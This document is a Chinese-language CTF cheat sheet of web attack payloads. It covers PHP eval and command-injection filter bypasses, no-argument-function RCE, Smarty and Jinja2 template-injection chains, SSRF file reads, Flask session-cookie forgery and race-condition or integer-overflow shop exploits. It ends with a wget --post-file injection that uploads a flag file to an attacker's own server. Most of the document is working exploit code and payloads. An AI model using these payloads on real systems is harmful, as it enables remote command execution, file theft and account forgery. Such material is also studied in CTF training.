web常见攻击方法

  • python -m SimpleHTTPServer 80
  • /proc/self/environ从文件读取环境变量
  • grep -ri flag . #recursive/insensitive grep flag string in current directory files
  • 使用$_REQUEST[]接收参数的代码,如果同时使用GET和POST两种方式传相同类型的参数,那么POST的参数会覆盖掉GET的参数,最终$_REQUEST[]接受的参数是POST过来的参数
  • cat被过滤:tacnl/???/c?tsortmorelessca\tod -c /F[9-Q][9-Q]Gtee

信息搜集

JSFinder爬虫形式,快速在网站的js文件中提取URL

PHP代码审计

直接命令执行

极限利用(限制可执行命令的长度和字符类型):Web-2,安恒月赛-2018-09
1
2
3
4
5
6
7
    if(strlen($code)>35){ #限制长度小于等于35
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){ #限制不能使用大小写字符、数字、下划线和美元符
        die("NO.");
    }
    @eval($code);

原理:利用通配符? * %执行命令:/???/??? => /bin/cat ,利用模板渲染回显结果:<?=?> ,完整利用步骤如下:

1
2
3
4
?><?=`/???/???%20/???/???/????/*`?>
"/bin/cat /var/www/html/index.php" #读取源码
?><?=`/???/???%20/????`;?>
"/bin/cat /flag" #读取flag
命令注入及绕过waf:ezsql(安恒月赛-2018-11),PingPingPing(GXY-CTF-2019)
  • 分割命令用;或者逻辑运算符&&id;idid&&id

  • 过滤空格:base64<flag$IFS${IFS}$IFS$9%09< #$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

  • 过滤/expr substr $(pwd) 1 1

  • 过滤flag:base64方式?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh;bash方式?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php;两者结合

    1
    2
    a=`echo$IFS$9ZmxhZy5waHA=|base64$IFS$9-d`;tac$IFS$9$a
    cat$IFS$9`ls`
    

某个字符绕过方法

  1. 反斜线转义 cat fla\g.php

  2. 两个单引号做分隔 cat fl’‘ag.php

  3. base64编码绕过 echo Y2F0IGZsYWcucGhw base64 -d sh
  4. hex编码绕过 echo 63617420666c61672e706870 xxd -r -p bash
  5. glob通配符 cat f[k-m]ag.php cat f[l]ag.php

  6. ?和*

  7. cat f{k..m}ag.php

  8. 定义变量做拼接 a=g.php; cat fla$a

  9. 内联执行cat echo 666c61672e706870 | xxd -r -p 或 cat $(echo 666c61672e706870 xxd -r -p) 或 echo 666c61672e706870 xxd -r -p xargs cat
进制转换:Love-Math,CISCN-2019
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//base_convert(37907361743,10,36) => 将10进制转36进制,得到a-z,"hex2bin"
//dechex(1598506324) => 将十进制转换为十六进制,"5f474554"
//$pi=hex2bin("5f474554") => $pi="_GET"   //hex2bin将一串16进制数转换为二进制字符串,下划线、空格、星号等特殊符号无法直接通过base_convert进制转换,因此需要借助hex2bin
//($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs}  //{}可以代替[]
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat flag.php
//(base_convert(53179,10,36)=1517) ^ (base_convert(110136,10,36)=nrtc) = _GET
0=system&1=cat%20flag.php&c=$pi=base_convert;$pi=$pi(53179,10,36)^$pi(110136,10,36);$$pi{0}($$pi{1})

//base_convert(696468,10,36) => "exec"
//$pi(8768397090111664438,10,30) => "getallheaders"
//exec(getallheaders(){1})
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1}) //再通过BP设置HTTP头:1: cat flag.php

//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))

//system('cat'.dechex(16)^asinh^pi) => system('cat *')
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi)) //'10'^'as'^'pi'=>' *'
无参函数RCE禁止套娃(GXYCTF-2019),boring_code(bytectf-2019),过滤file/readfile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if(';' === preg_replace('/[a-z|\-]+\((?R)?\)/', NULL, $_GET['exp'])) {
  if (!preg_match('/et|na|nt|info|dec|bin|hex|oct|pi|log/i', $code)) {
#(?R)? recurses the entire pattern
#preg_replace的主要功能无限嵌套匹配纯小写字母和-的函数,替换为空,最后只剩下;,例如:aaa(bbb(ccc()))这种,带参数的aaa('bbb')是不允许进行传入的
#preg_match的主要功能就是过滤函数,把一些常用不带参数的函数关键部分都给过滤了,需要去构造别的方法去执行命令

getcwd() 函数返回当前工作目录
scandir() 函数返回指定目录中的文件和目录的数组
dirname() 函数返回路径中的目录部分结合getcwd返回上一级目录
chdir() 函数改变当前的目录
readfile/readgzfile/highlight_file/show_source()  输出一个文件
current/pos() 返回数组中的当前单元, 默认取第一个值
reset() 函数将内部指针指向数组中的第一个元素并输出
next() 函数将内部指针指向数组中的下一个元素并输出
end()  将内部指针指向数组中的最后一个元素并输出
array_rand() 函数返回数组中的随机键名或者如果您规定函数返回不只一个键名则返回包含随机键名的数组
array_flip() 反转/交换数组中所有的键名以及它们关联的键值结合array_rand遍历所有键值
array_reverse() 以相反的元素顺序返回数组
array_slice() 函数在数组中根据条件取出一段值并返回
chr() 函数从指定的 ASCII 值返回字符
hex2bin() 转换十六进制字符串为二进制字符串
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)
    
echo(implode(scandir(chr(strrev(uniqid())))));
  • Apache环境,利用getallheaders()

在HTTP头中加入:system('ls /tmp');

eval(end(getallheaders()))

  • 其他环境
  1. 利用get_defined_vars()

eval(end(current(get_defined_vars())));&sky=system('ls%20/tmp');当get_defined_vars返回的列表第一项是_GET可用,否则需要array_rand(array_flip())遍历;end取最后一个元素的值system('ls%20/tmp')。如果网站过滤了_GET/_POST/_COOKIE,则需要从_FILES下手:

1
2
3
4
5
6
7
8
import requests
from io import BytesIO
payload = "system('ls /tmp');".encode('hex')
files = {
  payload: BytesIO('sky cool!')
}
r = requests.post('http://localhost/?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)
print r.content
  1. 利用session_id()和hex2bin
1
2
3
4
5
6
7
8
import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));' #session_start()开启session会话
payload = "echo 'sky cool';".encode('hex')
cookies = {
	'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content
  1. 利用scandir/dirname/chdir/getcwd目录操作以及readfile/readgzfile/highlight_file读文件操作
1
2
3
4
5
6
7
8
9
pos(localeconv()) #localeconv数组第一个元素是.
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))) #chr(46)得到.
chr(pos(localtime(time))) #localtime(time)返回时间数组,pos取秒得到0-60内的一个数,设置Burpsuite一秒间隔发包,第46秒得到.
chr(ord(hebrevc(crypt(phpversion())))) #MD5加密后反向显示,由于crypt(str,salt)的salt值会随机生成,因此需要多请求几次得到.开始的字符串,转ord,再chr得到.

show_source(next(array_reverse(scandir(pos(localeconv())))));
print_r(highlight_file(next(array_reverse(scandir(pos(localeconv()))))));
echo(readfile(end(scandir(reset(localeconv())))));
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))))))))))); #chdir(next(scandir(.)读上一级目录

Smarty注入

1
2
{$smarty.version}
{if system('cat /f*')}{/if}

ssrf

1
2
?url=file:///etc/passwd
?url=file:///proc/1/environ

购物商城

条件竞争&整数溢出:itshop,护网杯-2018

一个账户的两个登陆同时买辣条,只会扣一次钱,却会得到两个辣条,利用burpsuite进行条件竞争。

整数溢出:

int: 2**32-1 = 4294967295

long: 2**63 -1 = 9223372036854775807

unsignedlong: 2**64-1 = 18446744073709551615

由于5个辣条兑换1个辣条之王,构造兑换数量,使兑换数量*5溢出,小于已有辣条数量即可,因此兑换数量为:

1
2
i = 2**64 // 5 + 1 # 3689348814741910324
j = i * 5 % (2 ** 64) # 4

伪造购物用户:ezshop,安恒月赛-2018-10

查询数据库user表,查到admin的用户id,订单支付的时候,将当前用户id修改为admin的用户id,伪造签名,从而使用admin的账号代为支付。

Python站

input命令执行:babymaze2_beta,纵横杯-2020

1
__import__('os').system('cat /flag')

flask-session伪造:留言板,中原工学院-2018

利用Flask-session Cookie Decoder/Encoder伪造admin的cookie,必须使用python3

1
2
3
4
>python3 D:\ctf\tools\packet\flask-session-cookie-manager\session_cookie_manager.py decode -c eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sIm5hbWUiOiJ0ZXN0In0.XCLoGg.hkrHrcE6cV_TTN8o1UCEvQjmpik -s dropseckey123
{'_flashes': [('message', '登录成功')], 'name': 'test'}
>python3 D:\ctf\tools\packet\flask-session-cookie-manager\session_cookie_manager.py encode -t "{'_flashes': [('message', '登录成功')], 'name': 'admin'}" -s dropseckey123
eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sIm5hbWUiOiJhZG1pbiJ9.XCLpjw.3pQY5fDClFG0yNTv2EZKyp6S_eE

flask之ssti模板注入:(flask,NCTF-2019),(EasyFlask,安恒月赛-2020-02)

成因:代码中使用render_template_string代替render_template,直接调用用户输入作为模板,当用户输入中包含``则会作为模板解释,从而导致注入。

利用:通过''[]()等数据结构,配合__class__.__mro__[2]或者.__class__.__bases__[0]找到父类object类,再通过__subclasses__()找到可用子类(FILE (40)或warnings.WarningMessage (59)),结合相应的函数,如读文件或系统调用,进行利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#Python 2.7
''.__class__.__mro__[2].__subclasses__()[40]('inst.ini').read() #read file
#run os command
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('ls').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')

#Python 3
().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__['__builtins__']['open']('inst.ini').read() #read file
#run os command
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('dir').read()
().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")

#过滤关键字
 #字符串拼接
 #base64
 #jinja语法,反向

#过滤[],利用__getitem__(2)或者pop(40),下例中x4=__getitem__
#过滤.,利用原生JinJa2函数|attr()
#过滤_,利用request.args通过GET或者POST传参
?x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('想要执行的命令').read()

Shell命令

echo,grep,wget:(magic_download,纵横杯-2020)

传入IP,通过echo,grep作正则判断,满足要求grep "^[0-9\.]\{7,15\}$"之后才执行wget。

echo可以传入-e使其处理特殊字符,比如:\n,则可以通过传入换行符,使得正则匹配匹配到其中符合条件全为ip的一行。

再通过wget –post-file将需要读的目标文件上传到我们自己预先设置好的http服务器。

1
-e tries=20 --post-file=/home/ctf/flag http://myip/index.php \n127.0.0.1